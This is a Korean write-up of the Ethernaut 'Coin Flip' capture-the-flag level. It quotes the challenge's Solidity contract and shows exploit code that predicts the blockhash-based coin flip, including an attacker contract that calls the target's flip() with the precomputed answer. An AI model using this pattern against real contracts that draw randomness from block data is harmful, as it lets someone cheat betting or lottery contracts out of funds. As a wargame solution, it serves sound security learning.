[Ethernaut] 3. Coin Flip
동전뒤집기해서 뭐가 나올지 생각해서 연승하는 동전뒤집기 게임이다. 연속으로 10번 맞춰야 한다.
"Beyond the console"섹션 보라고한다.
리믹스 사용하라고 한다.
코드를 쭉~ 보면
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
이 부분이 있다.
blockValue / FACTOR 한 값이 1이면 true.
FACTOR의 값은 정해져 있고, block.number에 따라서 blockValue가 바뀌면서 그렇게 나눈 것이 1이 되면 되는 것인데
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
FACTOR가 엄청 큰 숫자로 되어있는데 저것보다 컸을 때 나누기를 하면 솔리디티에서 소수점은 날아가기 때문에 1이 되는 것이다.
그렇기 때문에 blockValue의 값을 보다가 FACTOR보다 클 때 트랜잭션을 실행시키면 된다.
그러면 문제로 나온 컨트랙트에 접근해서 flip을 실행하는 컨트랙트를 작성해서 보다가 조건이 충족했을 때만 실행해 주면 된다.
그리고 무조건 true 일 때만 실행해야 하는 게 아니라. 내가 입력한 true, false값과 동일하면 된다.
생각해 보니까 외부컨트랙트에서 실행할 필요도 없이 값만 체크해서 문제로 나온 컨트랙트에 입력해서 트랜잭션 날리면 되는 것이었다.
function flip() public view returns (uint256) {
uint256 blockValue = uint256(blockhash(block.number - 1));
return blockValue / FACTOR;
}
요런 함수 하나 만들어서 1이면 true 넣고 실행하고 0이면 false 넣고 실행
++
조금 더 생각해 보니 다른 방법
function flip() public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip33 = blockValue / FACTOR;
bool side = coinFlip33 == 1 ? true : false;
bool result = ICoinFlip(coinFlip).flip(side);
return result;
}
컨트랙트 하나 만들고 side로 나오는 bool값은 바로 coinFlip에 넣어서 실행하는 코드.
그러면 문제랑 똑같기 때문에 그냥 계속하면 된다.
level 3. Coin Flip 코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}